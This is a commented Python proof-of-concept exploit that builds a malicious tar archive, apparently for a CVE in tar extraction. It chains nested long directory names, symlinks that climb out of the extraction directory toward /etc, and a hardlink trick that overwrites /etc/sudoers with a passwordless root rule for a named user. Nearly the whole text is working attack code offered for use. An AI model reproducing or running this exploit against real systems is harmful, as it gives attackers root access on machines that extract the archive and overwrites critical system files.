import tarfile import os import io import sys # Create a long directory name (247 'd' characters) that will be used many times # This helps force path length issues and makes the traversal cleaner in some tar implementations comp = 'd' * 247 # Sequence of single-letter directory names we'll create (a → p) # We need many nested directories to make the relative path long enough later steps = "abcdefghijklmnop" # Current "working" path inside the tar (starts empty) path = "" # ─────────────────────────────────────────────── # Phase 1: Create deep nested directory structure + symlink loop # ─────────────────────────────────────────────── with tarfile.open("evil_backup_cve_2025_4517.tar", mode="w") as tar: for i in steps: # 1. Create a very long-named directory (d repeated 247 times) a = tarfile.TarInfo(os.path.join(path, comp)) a.type = tarfile.DIRTYPE tar.addfile(a) # 2. Immediately create a symlink with the SAME name as the next letter (a,b,c,...) # that points back to the long-named directory we just created # → this creates a symlink loop: b → ddddd..., c → ddddd..., etc. b = tarfile.TarInfo(os.path.join(path, i)) b.type = tarfile.SYMTYPE b.linkname = comp # points to ../path/dddd... (long name) tar.addfile(b) # Move "current path" one level deeper (now inside the long-named dir) path = os.path.join(path, comp) # ─────────────────────────────────────────────── # Phase 2: Create long symlink chain that goes very high up # ─────────────────────────────────────────────── # Build path like: a/d{247}/b/d{247}/c/d{247}/.../p/d{247}/l{254} linkpath = os.path.join("/".join(steps), "l" * 254) # This symlink will point many levels up (we'll use it to escape later) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE # Go up once for each original directory we created (a through p = 16 levels) l.linkname = "../" * len(steps) tar.addfile(l) # ─────────────────────────────────────────────── # Phase 3: Final escape symlink that reaches /etc # ─────────────────────────────────────────────── # "escape" → long-chain-symlink → ../../../../../../../../etc e = tarfile.TarInfo("escape") e.type = tarfile.SYMTYPE e.linkname = linkpath + "/../../../../../../../etc" # ^^^^^^^^^^^^^^^^^^^ # extra ../ to reach actual /etc tar.addfile(e) # ─────────────────────────────────────────────── # Phase 4: Hardlink trick (most important part!) # ─────────────────────────────────────────────── # We first create a **hard link** entry pointing to "escape/sudoers" # → this tells tar: "whatever file ends up at this name should share the same inode" f = tarfile.TarInfo("sudoers_link") f.type = tarfile.LNKTYPE f.linkname = "escape/sudoers" # ← points into our escaped path tar.addfile(f) # ─────────────────────────────────────────────── # Phase 5: Write actual content → goes to the hard-linked inode # ─────────────────────────────────────────────── # Same name as previous hard link entry! # Because it's a regular file with content → tar will write the content # to the inode that is already linked from "escape/sudoers" #change foy you user content = b"demouser ALL=(ALL) NOPASSWD: ALL\n" c = tarfile.TarInfo("sudoers_link") c.type = tarfile.REGTYPE c.size = len(content) tar.addfile(c, fileobj=io.BytesIO(content)) # After extraction the victim usually sees: # sudoers_link ← normal file with our payload # escape/sudoers ← hardlinked to the same inode → /etc/sudoers gets overwritten